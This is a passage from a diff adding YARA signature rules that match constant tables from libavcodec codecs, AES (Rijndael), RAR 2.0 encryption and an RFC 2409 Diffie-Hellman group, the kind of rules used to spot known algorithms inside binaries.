0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_AC3_ff_ac3_frame_size_tab__16_big_228_
+{
+strings:
+	$a0 = { 0040004500600040004600600050005700780050005800780060006800900060006900900070007900a80070007a00a80080008b00c00080008c00c000a000ae00f000a000af00f000c000d0012000c000d1012000e000f3015000e000f401500100011601800100011701800140015c01e00140015d01e0018001a10240018001a2024001c001e702a001c001e802a00200022d03000200022e0300028002b803c0028002b903c0030003430480030003440480038003cf0540038003d005400400045a06000400045b0600048004e506c0048004e606c0050005710780050005720780 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_qcelp_rate_full_codebook__16_lil_256_
+{
+strings:
+	$a0 = { 0A00BFFFC5FF0C006E0022007AFF9D006800ACFFDEFF8DFF17009BFF03002D009BFFF0FFC5FF1C00D3FF8600BDFF16003D00E3FFE200E6FFC9FF4DFF9D00CDFF24FFA3FFDBFF3C0076004A00D0FFA1FF4BFF6F002400CCFF29FF4E0090FF2700EFFFD1FF21FF13000C009EFF72FF8200360081FF1500F4FF2700D0FF0C008000060059FF52009AFFB1FF3700D4FF3000ECFFCBFF0800C3FF0B00BAFF63FF58FF1400C8FFB6FF4E002100C1FF53FFFEFFB5FFCBFF6EFF4D004200E3FF0900B5FF41007700D5FF4C00E90062007D0064FFE5FF4E00F7FFAA00B0008F006CFFF9FF1B0078FF05001B0012008B00CC00070048FF3BFF3400FDFF4E0043FF0800BFFF }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_COOK_ccpl_huffcodes6__16_big_126_
+{
+strings:
+	$a0 = { 00040005000500060006000700070007000700080008000800080009000900090009000a000a000a000a000a000b000b000b000b000c000d000e000e00100000000a0018001900360037007400750076007700f400f500f600f701f501f601f701f803f603f703f803f903fa07fa07fb07fc07fd0ffd1ffd3ffd3ffeffff }
+
+condition:
+	$a0
+}
+
+	
+rule DFC_rt64__32_lil_256_
+{
+strings:
+	$a0 = { 6251e1b76a2aed8a805871bfc7f3f49c0f16e76256dab43804d984a7efcf905138774e32e5fb6c928d8dbff463d7318c0ac806daeb8511bb577b7c4f8495f5577dd4cf9042bb197c54958d15ce6bb4f7794d5cd5d6245ffdc3313c61df2d9a836b279a8ac8a1bfcf8462c577d49cb7da3d29b3c2eae5e9200ac62af087ed93cc2ea52244ee8f23cbdd6aabe5a0d15f838f0a3d75d237e5789db75bb964ecca8d239f1e2cc2b529b887f30b78b38bdf373413d00086bdd0a073facb45fe0f16a6cb483c390f06cabb6decf80fccb5be31f0f2d7ee178008bb0dc63b16cb0e5af49b28cd1beabfcb06e108ad21733f7f84ed6cd5786e0d64947bd3d3f0e10870e6 }
+
+condition:
+	$a0
+}
+
+	
+rule _Second_Oakley_Default_Group___1024_bit__from_RFC2409__8_byt_128_
+{
+strings:
+	$a0 = { ffffffffffffffffc90fdaa22168c234c4c6628b80dc1cd129024e088a67cc74020bbea63b139b22514a08798e3404ddef9519b3cd3a431b302b0a6df25f14374fe1356d6d51c245e485b576625e7ec6f44c42e9a637ed6b0bff5cb6f406b7edee386bfb5a899fa5ae9f24117c4b1fe649286651ece65381ffffffffffffffff }
+
+condition:
+	$a0
+}
+
+	
+rule Rar20Crypto_SetOldKeys__32_lil_AND_
+{
+strings:
+	$a0 = { 79b8a3d3[0-20]f7126d3f[0-20]35a21575[0-20]23f1e7a4 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_AC3_vq_hebap7__16_big_6144_
+{
+strings:
+	$a0 = { AD4B55852896354E29DEDC27A809DFFF4798E61B63AED5A01A90CA42CC225792394BAE36092B29140465F28115C16A00E6272E4BA03459994F8AE87DAAF829B9B361C553DEE2F7DFF54721ECECE16C5B1D82D147FC04099CFC461292FD8DC010B30A5A39004BCA8CF5AC083C0FD1F4C816DBEE9556863110ACC8BD17FD261CFBD276D6E52C440700682A5BDEB397FE15BA5DBE77CADAC7CBA9F3F6600443E8B1E0D9BDAFB030AA5547D4FBB1078D341EBBC946C2587643C1D91245FF476202BA05CC4F49E986986D134DA909F5D511EBE92E4820223FF5F8F513F9BE54D10C1B9BAD0C98B5AD1255EC7117AC07B4C509F773252CFDEE50BDEDCADF93A8CBDD4909E1D3A8156403E65654EC440673F59F1207090F5177F3FAF2FE1009349E0BFD005543892818C66000D6005A9903B65FB4684B2CD81626B5D9F55011E64DE4B90B4BFD1E505FC20CA67F1AD6004C01472228CDB3A65FF6BCB420D9D5CDAA3F37525C0EED02EDCA20C18547DF0957BB034C1CE87E058F2DD60FD34B5A1AC9B31FEBB026264746099F494CED0CFDAB4C2A052BDC78FECCFBB0F3E59B7DC2CF62F4121A0A4B4CA7F6B0E1172E14DB8BC8FC0A526755AD9DD78EF963F951560F54792D3CA67DEFD30081E8160DD60393FEFBFFEFFE8106A01A30FA6F51660359EEC0058FC450DE9ADA3D145A1637EE58FD9BD25D15F21086026B03A9EC9DC8EABD30E506E8C0C524FE1FE3BBC5D249BC54A99BC60B5E0477FEB9FE36FC1DDA48FCCD9EBC0AF44F01043BFBA9F19EF904B3DC03C603351C7DAB012A26E46DA503F945FEE6D4AB00AAAE2A8F02314746120E81F9E503750005023417E458A808C2E4D926F7E80C10F268B8F18707B8FBC9F5F6FD6BE123F594C4A6453A1117EFB2D4D302CDA816061A2FDCE6FB479E17D71B4717444713267B14FA5C34E533E657FFC255CC342FFD550EC9087800D1F20FFB99B2F4F9F8051CFCDDF3F53EB1CA21F3FB10C65CA1D8F126D7C2003286A3B154C325FA59352FA03AF3159D12E508C3083304DB0FF9128C329C0FA7F65C0D19F3EC228B428010EA17EF15AD24212BDA6FB0DA8EDD8700EC03F101C7FC3C1AAD4B5AFC0600C8071D0242144C03BD28840D02CE00FF81F432DFFFC723562D1720041D2AE66556A01EA512D17FE57B588BD4FE16680A075C99D7F3F2F1EF77EAAE50BBD5A5F1EBEFDDF1E411DFFCC3FEA2FCB1F3190D7BE31AD2AC0BCF01C70C80DAB50C82A6932BB0989EC8F3EFEB3C1637D7D55DB0670EDFD4F856243822C420E1CBE76DBAC9F9E82F10B2A3FE45E7FDEF76FF6020AB586E2E874AFD04971CFED96DEFD81260FFB8E21CFF90D14DF3626A270CCA174B1D4DBD8503629C9402E10745072907E609501293EB9F1D580CFB0A9B0BF9F9BA1097023515FD09C14663ECC8F4EFBA00E0823D7AFC0608580BEAB3E54222748BD8123B31D3AE00769B3CCA3F3BD8FE2CED281360EF590627D69F4C69DFF5FA7FFD05FB8DFDA10580F765D36907E5E70CF5D802C7FE63F631FF28F241919506B7C792429A365D34BB9B5EC1074B1C1CADCFF302AAF131FF39EF9F510AC2DD2C5516E4FCC8AC0EF226FFFDF957F08923FD3C55F8AC07DCB3553F64ED13F4CDF16BE346FF51B1692BA6F20D9FF54CF419FE03D3FD72553CE2FAE611D5F1DF563CB739EB4639E3DCF2AF0772BC780DC5F095FA79F51244F00822E64CC469BA0705393BEA52A6184225E23B339FA6A815F061F934FDAF0447E19D61E215E153A7FE50F986E50EFA62C78AE4E102BCD095FD17A18557C2188F0CD32AFE0F044AF039BDA81A3BAA1543F508FC36F2F10CB9F1841288DF93591ED8205F1AAE164D8603DBD14AE77B0F42B30B3304F9B748D11D2A98D7A7EB3FB107DE2ADF4670E481122FC61E49333DAD0510245EF96F394BF30267A7D1B31660171D34582724F7449F8006CDE5B93197AA070FF0154AF5C324B152979AAEF3A6F61F50C049CEC98D1B4EDFBC3DC3A2F62BAFCAB92E5C3EAD0A4647B9D814033D0358FC0E009D3840EDBA1421CC1694D6D4EC546D2BF8442D1DB4334AFE1C000704D4023D107615C8F3F70394DC7C0505DD0204A18FE554535C8F4AACF4BBC836DF0A5B76E7EF32B20BF5DB7908BCF402E350B154169C0246FDD9F067013BE1A32020924ECF4F35C6C4034B05AF7032F3B4D10EC1FF4F1F5DFC174594142AE374EF19B950FD94FABA3A5439A4FB3BCDEDC5B6FDDD69F508BA06AC0ACC15281F329DB50B390E340F9814E0279E530B0486150301FCD6EE0122F9B1045A60D540BF9DB0FED6F4F0FBADE800F882E191F465A5140FB02A2943A5EF0AAE0AF2C9EE72FF31D921F2091F0B0482E2681FB5C921425698A7946CC4C43EE0BE34DD4AA3583E22615A1630F8AE01A400840075FE06B492FF3A019CFEC902F0F88E0F8DE1F840B6B4A5C67EFE71FD27F121EF9CCF951DD70D28091A23845C86D7CEF957F3B40A24E0CE390AED3940F31F7905C90031433561251D32B498FDFF2E81092A15D40D25EC39AACC2C6A2A901311010512BA506113F5E877E08FFA0F1FBDC65C509FC5BA5D85F1BE30A305650E1D21EFA23E12F01A462993276662819DB9FBD719A136990B5F54E940519A3EF9100A0FB36ABE600BD81A173AA4BA0ADF0AABCE96192E200D78FC64C1D7FB911406AF7B1E2808B24437153A710E449004DE3CFED221602ABB7D0CC80C8F461E0ADFFD2EA770175BE9D2F3909A1965B219B70CE64F56F21DF565FE44FA3105F6AF60AA2ED0519B3F229FFBF445E0023AC11A2089F6073BABF58B26DEF8A9405DCE268EB1FF88F75300DB0061016D002304F6FD3205C8F57F078AE2990768222E0772473BCE6CE7E2F16B3591D966C1A8FAA0E416D69821303E5FDDA81D6C4FD70BE1CB6F040896B8169B6198EE12DFE4DB96E820BCA56491BA701B3A0EA80272FF8E08821161ED021B8EEAE41282F4F5133AFD7549FBD9760350075EFEB0EADE1C424FDCDA91FDA8030DB3EECE9819EA058601C2F2B9BE7E2B633390EA86549FF33F12FBE8B71D6AD5AB6DB6286ECD9B64636428FD81015F048B494BEAA6C511FF6FFA9FC7736A5D8569807353BFF4B23C3C498756704BC658373513D64E29D613E1ED6C038DAEE8CD6CAF4C1CF20AA20D632D41FBAF47C64D13DA4E57AA4CB2FED8E572C6AB54634D545397B46AE2B363663358218C9D2E0C14D68651A02421F3020704FCD505A90C22128C2F29C84AAF1037C3EF149B12E96BAD63EBF4293AC93CA97A0B18FDD663BD44F03A26ADAE099B6236DB66F904CDC2E9129B2DD4F11A2A0333284900A66BBD020B0065B4440D5525A600400326F54AB9F5F5F05922216904660B9C3B630700635AE9A0BC8FFA750644112E2CBC06C35CEBEBF01211D6636D4D26A9F632D6E0927F0BB7FA06FCC0FCC2D483CF2156BEE3B5A3E6AB3E4227AA7C0745DA7A24D84A522825252C68BF07DAECB1DC8815ABF75E37BEC43CB48C071EED0EFCF1DD01F3FCB1A8F3832028F516BAA833FC0C9DFC21D033E64B284BDAB008D4AF58E4A81599E27FE2BED79AD7E60E394C17E8ACB567B77632050503EFBC106690C7F63E074A3EAF68CACD03E75403D9F9C3FE6D3570193961EE69F4AF1AB96AF9029E661741FC4667E8A160C3E960D407A1FB9000BBF70F30D9AEFEFC784794530A0A62E8043F335704FDD4086AE839367E9BAE93BF0FD1ED45AC3467694BEBDC5C037F012FA94899BFE8766099A672DCBAC83CC1925CB4A6BD2434F0FF732A55A3E7BB068FF7F5FBA0FE4D264AF0CD3047EF40B5E54D38FFAA09A307C6FC03EB1651FADDB1EB2FA3F6ED860A71EC1915E5EDEB4ACE65B5D01D03CC1ACA11C76D2DF047F72017BBF344EC83FE8BF9DDF16EE3A8CD40DD8CEC0B5A0E13BE03980A371EE8E347ECD74EDAFF06154E0C441B10B6DDF7FDD7C5EEEC4C98130FFD6BF8A339E0DE65B29917F7AD26371CD157F751139A2E7458D50196CC80F5CBCC38A85FCF3EDF4442AA62B3F71F13C0FEAA009120D1BAED4AA82977B40342BB5155E9BC300A9C0228971E0C11C63DA343BAB44DED6004B6E1D52A5495E4D3511AB3F91009EE0C7F115A4469F181FC6E51E0BE7AE94A2B4FFFBA59B10CE90B671870ED40AE1AF3621724BF5D08870AAD0D76A4F6E853FF3EC9E4D5254C2004051173E8B4B5C405EFFE990357F9D3E2495636D2C4D8D042CECF8409F910E457E416772F8A9DD9464CE710049C049E25965BA6DEE9EED8F5931DD6BE3DEA79F4B9D5FBAE6D1C4E041D0A8FAF86E27E1D5CE1C416EC50BE558D01C93A79BB07D16F0E13F9C5F77FFF63FFD5025D09D122FA291F581FC11CC157177213571A8BED02A88049A11DA6F9639F90F2B4375904BEEED2E5F9E52AD89D9FEC242528E44557E1BC0093E75611433F3BBF53EFE910CE1DC915210CE70AAF1D22B242F732F18AF7E354693A163101E83FF91C12462DDC0B2B1B29077FF0E10DC2AAA3F65BD72B49CDD60A0EAFD831ECFEF59DBA59FB263A8F24872E5EF9DBED105815252595F029EE517399B7BA2AE3FEFA90B3D931CA2006F83C075B6DFEFCB2E3BD00F900E9E3E0029DFE8DF47C5AC2E9FD0C4501200C97FB16FF9E942943DDA53D13F6D441F5F2D321ECC005EEEAB0029EB89A079F285EB267EDD70169FF60FC65492C37B8F3ADE2C3F3001747F1E252551C6C0DD01FB9FA08DF1A01F4B51249F16718FBF13D17644420B7076F0799D135F5640D3D68E2EE15070B00160499FD7104D1F7B01EA406E7FD072011B4A6EE0F0783FEA9FD4FF236F33DF124F53F4886F7C207AAFAB741030ACDA5C2FE4F1329012E32D83E3DE8EF0C83101E2BADEA88F61FFB78FBBDE6BBFA791632FEF40247DB43B38C1848067A03E1FFB5F961EE68F70FF008E664BF3F1298FC84D56A19745E87E885FF0303E8003FFFAFFF8DFE82FACB5EA0FD46EDC5F50FB538FC948F3EAA8F3185E7380CA341CF529999C4F391FE7400E64778E192CDC7FD59FA3F0005D7082CA564CDFB9E0579FE4A0EC6E2FB6860449F4B3930FE18BCFD1631F52464A7F2EB160D5AA7386962477F043403BC954DF454039800EB08B90051183714B03EDD39B0DF13FBA8E6E04B2C26C1F34B04FEFC465E950801A66D0A19F696EF88244637CAB2E9F06FF6D80404B1604649DB0E59E4BDA921B1E510AF060EB2440757454A50034A5E7561E6E931FFB203A9FD934D0AA174F856C5FAFFC858EEEC0143D55D3CB3E8E662F7924452AC450D0CCDEDB0B9DA6B43AD02CB08D9EFE5FE1423C432936AA7AD49E848DB0FCC94A51BC94AEFA81B42000203AACBBB0DC0A11759764C85ECD1B2C24D34DBA2CE960EEBEAAAEF67E4B5E78CC9899DC2247D2881C9DAE5D0581CFDF919FB4950ED09311A398AD81FFCC946C7018EF9D2FF8CFE95E4E9CE6A911821681B31FF11F5D6EDA0FC0307DF14095C76CEF1E0029E3C48703763067F0EE5522CDA6CEC45F8F8FBC1A9D741233A7024F30AE2425F9A48B48AE6F2045016A6B989F93760F928B1D4B10380EB67F8C12D8DF50D60E9AC45B2B0A44FBEA7E96A160B0A4C134CF944112497CFCA81294A9AD93BFEB3D86682B7C306C81F761634519A0FFBB564C704D71C436CC05D3A0BBAD1B51A309395CFCEE31A57FDCE03D0FEFF306BDE56A918B27D2B051E520ED72E4D941ADEE70441FA29102DF77A97A0FD21FCFA05BD0C3535C211FE72494953D91ABBC7DB1BBB66F61EE6DDF172F93210FFE547B2C3259BD6621C530DC52A5315E1626EA4CCD7C4BA5A02772D7807FCAE72FC97DECAFBD9C2C6D63B3A56C1AB6DE9149401DDFBE30486FA29DD92E97C9E7B65841EE3FBF2FF8EF6FCFAD9E6B005C0131FBA179B0614B5FF44062D0C80434910FA5655B791560CD7F60221D54C08E4925A1FB63BEF0919246450393A3C521D18B917F2A0440345DE43E92C1CDAFE0B29074EA32CABED6DF5475E6EDBC63BA9DF3BE9350BB0F4D017A0E2CF2DA7B1E4FC8DD14ED908AABBEEAC95D60D824CAA05000A254D891487EB3D4ABDC74ADD0E35B5FAB848D244F72AF91AA1B80E18C0F95F08C4EDE00F6CCDA6EB674FCC292E104AFC0C4BEF54BBF481B2E9EF900528038DDD3F2487E07EF5C6CD7B67D60DB325E9A79C20771FE7CC1315E80C960EA5FA1C00A5FFCCFF3C0066A728DD800387D363C6BAFF88176E4D3534590E2C144D215016C3FBD60306FFD9FF5A24C3DAFC256DCD345F88614445D608BBAB794FFE126CE3EAF64E2527064BAA493796FAF72448F70D5AAFF284D5A6000B25180BE1140AF0CEAD1DA7C337B6D9924EE336C3005BBCD0B76103D4001103350078FDC22FFDB4BB35AE3FF5FF5F1789F2DC05FAF05B0996D588A2E1006913DDFEFC169EFDB44AE210191049347F393451A31D0AFF51332DF1885AC10F43277AE82B5BAB1454FAC3063F3376F36FF25A3B0DDF3DD20EED72047A1243B44E3A45EC1D00F9ABFE2798BFA7CC0747CEDE670274098F0D100C3AEC05007745ECA86ABB1F55CFC05BE20441DF5E9615ECF0EEFCD70EEEF70D276BF6C89DEBFB3601380B8D2BF86879CC2EF281FB98B2CEF56C11FC18D30666639DB377E1B70C57FFABFE17F8C1032E30DE4A85EDB7F5CEFA3EA490B5AD1FC94DA61EE8FEE60347B33C2E976A8EF37508DA0FB4FBAA2022FB0651BA61E467D00145DE0BFF18F756FD45D3E3EF98070DE5EFA664FAC5F82BC1F2FBE993D9CC4D3822A9C7079D3377C2D8F8CA1F770BDF2EF91BDC9FC8019DF6D5A210FF3230ABE602FE5FD8954703A378AFDDBFF41C3E02FB161BEC233636A34FD4BBB37D2C4C01F561D01DC0B336064597E622AE293001A105130105387C2C69F3412706200246BF054BAE9ADC14C144DE91FD26F882AE37B88BF663F5A510DCF5065FC9D50C9B870134FB2EDC8DBC80F8D78D62A16BBF09F4E527B5EB25F4B85562ACA4C2283A01A31C14402781AF61B3B1D39F20DD05CEA396E981E2A80403AEC635A44DB4AA52D09CE492B519DD78566DBF960791145AE752A31433552B4AFF331794FE8421D2FF176D74EA6D1D351DD35C2B2623F5E2549A9167F3F2FED4FBF806D0A8B0410600D01A09BC08F42C48322478F54FB4540197EEDBECCFBC264983BB0A34683B801E4518E05A5FB9021DA0EF68FA2FE685024AD8533A7463E00F04E7F41321CD0BA802160FDED5F7C79F3A0389DB9205B0F420FA3C048EEEB42BE423F40D45FA55351EC21F5FDC16BB2123F44F542BBDEC1E3D5DD2C5ACA332EB2CE5F8EE6F33D34BB33274F7A2FD1F526CA9AB0D41EDEB1667B61FE4C70A7F047CC0EDAC479241FD8AC78F1C8402A04862BBD4D85B015F2C5CD522433C12100091457FFD39F269F7423E0F07EB000092700702FDAFF53AAAA42D0FB31D134955F45413F3B406FE032D20270A492ECDF41D56B922F89F48FD4E3A19F6C2EB0420D6EAC1FEEEFD7EFF6F030AE6331C5A512CA42DB73F58FEA6909C702724F9B205E4FA8F1DB701979F9ABFFFF8F4EDA5D6A0B53D28DEF15D2211E4F932D214ACE7AAECECAE58F8FB41FBCA36FE2F4B8FD60BCD616269C631E9CFFDF7FEBFFB451B05F3EB4ED796E9D106050F013107C84C01FC270019FDF71A33F18E20ADDE1155A195E2123C176D1BCD2DB05F51D5D602E8DB384DB507AB1EF2D9A00D665322F9382A5C22756987DD9305F1A21A06731E9EFB480F47D42B0CC9CF031C0047E2548A239DD2F0EB781BA5094E00640EE9E5C704DC05EEFEBF1F0AB71229ABECFE02D70308C1F5E02AF7D958D3061FF266111CF5512115E48FD3600525695A11291DF14499FD36028AC0C1FCBD20AD0703C8163FA91198D8C01DEE97BEBBEC0A140030F0700234E9110A62B71E31239A60C2E60A70FABDFC89ECAA1070E5650A09AF73DE2EF8D4C61EEA3DA4E6C630650B153A9215F6CBF4BDFDC6097F3328F52D61A2CF309F6DFBFFE9D4EF0D077448C4ACB543D66C0C9307C3CF059CE438F73F1F530F075FF8FE2B25CA29BBFC79D85B0709ACF412BBDDD10462DA920A41590703BC03721EC44A83D954A1361D48243D03D49774EAF61514043E067070A6FB0AFE410005FE53FFECC44D17F4591C04E4D91501FF03531EF5FE37D04E10A51D9BEE4E2104FB2238A59E89E980BA6AD619269FA287CB880756C53727B5406BC6F5D240AD5CF30B0348E9CD578D07CA024A5A76E964C53DD77CDBC9CB2DFCFBDADBF067A138210F16ACDE9FFD41CF68F06F9DDE920DBEED3E810ABA064B13E9FBED0029E3F34DBF7B4382133667E9E6034DCE1A16494137FFAA14A23A1B699252843DA0D71339784CC0D321CBCFB11CC4832195DC4EFD8E2A8BE88118CAFA30FB08FA39FAE9F188EA93F2D645CFE6346162651EF3C920E06C87FA9714E6EF5C4E191638016A435E0EE1F3520440FF978C590ABB3B77FF590E8A0DAEF385219A1E5CF9E2FC6DFE150CB9F6891592507EFF9CC984D398C3F1AA96DEB82FBDFD980978F819112EF1231FACE3DC523352DBDB4DB4410380E997C4C8ACCE42AAFC12FE9218750CA8D15FC0ABC23419B5F3AD60DC0AADFB17FC95F9C3B00B2B565E07DCE5373808ACC8E62EB7A8211027FBE1EAD40321F5A1003CEB34FCEA1731E334F91CA85F9A3454CB1052E9ADE608C5C4052DA21405D5E878CF385D7A0B86064104954A7B44DE4609D6622AB0ECA20C9FF32C6AC8104EF96D01F1 }
+
+condition:
+	$a0
+}
+
+	
+rule Rijndael_Te4__0x63636363U___32_big_1024_
+{
+strings:
+	$a0 = { 636363637c7c7c7c777777777b7b7b7bf2f2f2f26b6b6b6b6f6f6f6fc5c5c5c53030303001010101676767672b2b2b2bfefefefed7d7d7d7abababab76767676cacacaca82828282c9c9c9c97d7d7d7dfafafafa5959595947474747f0f0f0f0adadadadd4d4d4d4a2a2a2a2afafafaf9c9c9c9ca4a4a4a472727272c0c0c0c0b7b7b7b7fdfdfdfd9393939326262626363636363f3f3f3ff7f7f7f7cccccccc34343434a5a5a5a5e5e5e5e5f1f1f1f171717171d8d8d8d8313131311515151504040404c7c7c7c723232323c3c3c3c31818181896969696050505059a9a9a9a070707071212121280808080e2e2e2e2ebebebeb27272727b2b2b2b27575757509090909838383832c2c2c2c1a1a1a1a1b1b1b1b6e6e6e6e5a5a5a5aa0a0a0a0525252523b3b3b3bd6d6d6d6b3b3b3b329292929e3e3e3e32f2f2f2f8484848453535353d1d1d1d100000000edededed20202020fcfcfcfcb1b1b1b15b5b5b5b6a6a6a6acbcbcbcbbebebebe393939394a4a4a4a4c4c4c4c58585858cfcfcfcfd0d0d0d0efefefefaaaaaaaafbfbfbfb434343434d4d4d4d333333338585858545454545f9f9f9f9020202027f7f7f7f505050503c3c3c3c9f9f9f9fa8a8a8a851515151a3a3a3a3404040408f8f8f8f929292929d9d9d9d38383838f5f5f5f5bcbcbcbcb6b6b6b6dadadada2121212110101010fffffffff3f3f3f3d2d2d2d2cdcdcdcd0c0c0c0c13131313ecececec5f5f5f5f979797974444444417171717c4c4c4c4a7a7a7a77e7e7e7e3d3d3d3d646464645d5d5d5d191919197373737360606060818181814f4f4f4fdcdcdcdc222222222a2a2a2a909090908888888846464646eeeeeeeeb8b8b8b814141414dededede5e5e5e5e0b0b0b0bdbdbdbdbe0e0e0e0323232323a3a3a3a0a0a0a0a4949494906060606242424245c5c5c5cc2c2c2c2d3d3d3d3acacacac626262629191919195959595e4e4e4e479797979e7e7e7e7c8c8c8c8373737376d6d6d6d8d8d8d8dd5d5d5d54e4e4e4ea9a9a9a96c6c6c6c56565656f4f4f4f4eaeaeaea656565657a7a7a7aaeaeaeae08080808babababa78787878252525252e2e2e2e1c1c1c1ca6a6a6a6b4b4b4b4c6c6c6c6e8e8e8e8dddddddd747474741f1f1f1f4b4b4b4bbdbdbdbd8b8b8b8b8a8a8a8a707070703e3e3e3eb5b5b5b5666666664848484803030303f6f6f6f60e0e0e0e616161613535353557575757b9b9b9b986868686c1c1c1c11d1d1d1d9e9e9e9ee1e1e1e1f8f8f8f8989898981111111169696969d9d9d9d98e8e8e8e949494949b9b9b9b1e1e1e1e87878787e9e9e9e9cececece5555555528282828dfdfdfdf8c8c8c8ca1a1a1a1898989890d0d0d0dbfbfbfbfe6e6e6e6424242426868686841414141999999992d2d2d2d0f0f0f0fb0b0b0b054545454bbbbbbbb16161616 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_aac_codebook_vector10__flt64___64_big_4624_
+{
+strings:
+	$a0 = { 0000000000000000000000000000000000000000000000003ff00000000000000000000000000000400428a2f994abf4000000000000000040114e9736120ac40000000000000000401965fea4b62d4e000000000000000040211989d50077f500000000000000004025ce31c9a6a79f0000000000000000402ac7f203bdfaa20000000000000000403000000000000000000000000000004032b8835c4072b7000000000000000040358b5a51852dd20000000000000000403876ba5a0381950000000000000000403b791fd22d5ede0000000000000000403e913de898db2e00000000000000004040def99582b3a4000000000000000040427f208eebc0ae000000000000000040500000000000003ff000000000000000000000000000003ff00000000000003ff00000000000003ff0000000000000400428a2f994abf43ff000000000000040114e9736120ac43ff0000000000000401965fea4b62d4e3ff000000000000040211989d50077f53ff00000000000004025ce31c9a6a79f3ff0000000000000402ac7f203bdfaa23ff000000000000040300000000000003ff00000000000004032b8835c4072b73ff000000000000040358b5a51852dd23ff0000000000000403876ba5a0381953ff0000000000000403b791fd22d5ede3ff0000000000000403e913de898db2e3ff00000000000004040def99582b3a43ff000000000000040427f208eebc0ae3ff00000000000004050000000000000400428a2f994abf40000000000000000400428a2f994abf43ff0000000000000400428a2f994abf4400428a2f994abf4400428a2f994abf440114e9736120ac4400428a2f994abf4401965fea4b62d4e400428a2f994abf440211989d50077f5400428a2f994abf44025ce31c9a6a79f400428a2f994abf4402ac7f203bdfaa2400428a2f994abf44030000000000000400428a2f994abf44032b8835c4072b7400428a2f994abf440358b5a51852dd2400428a2f994abf4403876ba5a038195400428a2f994abf4403b791fd22d5ede400428a2f994abf4403e913de898db2e400428a2f994abf44040def99582b3a4400428a2f994abf440427f208eebc0ae400428a2f994abf4405000000000000040114e9736120ac4000000000000000040114e9736120ac43ff000000000000040114e9736120ac4400428a2f994abf440114e9736120ac440114e9736120ac440114e9736120ac4401965fea4b62d4e40114e9736120ac440211989d50077f540114e9736120ac44025ce31c9a6a79f40114e9736120ac4402ac7f203bdfaa240114e9736120ac4403000000000000040114e9736120ac44032b8835c4072b740114e9736120ac440358b5a51852dd240114e9736120ac4403876ba5a03819540114e9736120ac4403b791fd22d5ede40114e9736120ac4403e913de898db2e40114e9736120ac44040def99582b3a440114e9736120ac440427f208eebc0ae40114e9736120ac44050000000000000401965fea4b62d4e0000000000000000401965fea4b62d4e3ff0000000000000401965fea4b62d4e400428a2f994abf4401965fea4b62d4e40114e9736120ac4401965fea4b62d4e401965fea4b62d4e401965fea4b62d4e40211989d50077f5401965fea4b62d4e4025ce31c9a6a79f401965fea4b62d4e402ac7f203bdfaa2401965fea4b62d4e4030000000000000401965fea4b62d4e4032b8835c4072b7401965fea4b62d4e40358b5a51852dd2401965fea4b62d4e403876ba5a038195401965fea4b62d4e403b791fd22d5ede401965fea4b62d4e403e913de898db2e401965fea4b62d4e4040def99582b3a4401965fea4b62d4e40427f208eebc0ae401965fea4b62d4e405000000000000040211989d50077f5000000000000000040211989d50077f53ff000000000000040211989d50077f5400428a2f994abf440211989d50077f540114e9736120ac440211989d50077f5401965fea4b62d4e40211989d50077f540211989d50077f540211989d50077f54025ce31c9a6a79f40211989d50077f5402ac7f203bdfaa240211989d50077f5403000000000000040211989d50077f54032b8835c4072b740211989d50077f540358b5a51852dd240211989d50077f5403876ba5a03819540211989d50077f5403b791fd22d5ede40211989d50077f5403e913de898db2e40211989d50077f54040def99582b3a440211989d50077f540427f208eebc0ae40211989d50077f540500000000000004025ce31c9a6a79f00000000000000004025ce31c9a6a79f3ff00000000000004025ce31c9a6a79f400428a2f994abf44025ce31c9a6a79f40114e9736120ac44025ce31c9a6a79f401965fea4b62d4e4025ce31c9a6a79f40211989d50077f54025ce31c9a6a79f4025ce31c9a6a79f4025ce31c9a6a79f402ac7f203bdfaa24025ce31c9a6a79f40300000000000004025ce31c9a6a79f4032b8835c4072b74025ce31c9a6a79f40358b5a51852dd24025ce31c9a6a79f403876ba5a0381954025ce31c9a6a79f403b791fd22d5ede4025ce31c9a6a79f403e913de898db2e4025ce31c9a6a79f4040def99582b3a44025ce31c9a6a79f40427f208eebc0ae4025ce31c9a6a79f4050000000000000402ac7f203bdfaa20000000000000000402ac7f203bdfaa23ff0000000000000402ac7f203bdfaa2400428a2f994abf4402ac7f203bdfaa240114e9736120ac4402ac7f203bdfaa2401965fea4b62d4e402ac7f203bdfaa240211989d50077f5402ac7f203bdfaa24025ce31c9a6a79f402ac7f203bdfaa2402ac7f203bdfaa2402ac7f203bdfaa24030000000000000402ac7f203bdfaa24032b8835c4072b7402ac7f203bdfaa240358b5a51852dd2402ac7f203bdfaa2403876ba5a038195402ac7f203bdfaa2403b791fd22d5ede402ac7f203bdfaa2403e913de898db2e402ac7f203bdfaa24040def99582b3a4402ac7f203bdfaa240427f208eebc0ae402ac7f203bdfaa240500000000000004030000000000000000000000000000040300000000000003ff00000000000004030000000000000400428a2f994abf4403000000000000040114e9736120ac44030000000000000401965fea4b62d4e403000000000000040211989d50077f540300000000000004025ce31c9a6a79f4030000000000000402ac7f203bdfaa24030000000000000403000000000000040300000000000004032b8835c4072b7403000000000000040358b5a51852dd24030000000000000403876ba5a0381954030000000000000403b791fd22d5ede4030000000000000403e913de898db2e40300000000000004040def99582b3a4403000000000000040427f208eebc0ae403000000000000040500000000000004032b8835c4072b700000000000000004032b8835c4072b73ff00000000000004032b8835c4072b7400428a2f994abf44032b8835c4072b740114e9736120ac44032b8835c4072b7401965fea4b62d4e4032b8835c4072b740211989d50077f54032b8835c4072b74025ce31c9a6a79f4032b8835c4072b7402ac7f203bdfaa24032b8835c4072b740300000000000004032b8835c4072b74032b8835c4072b74032b8835c4072b740358b5a51852dd24032b8835c4072b7403876ba5a0381954032b8835c4072b7403b791fd22d5ede4032b8835c4072b7403e913de898db2e4032b8835c4072b74040def99582b3a44032b8835c4072b740427f208eebc0ae4032b8835c4072b7405000000000000040358b5a51852dd20000000000000000403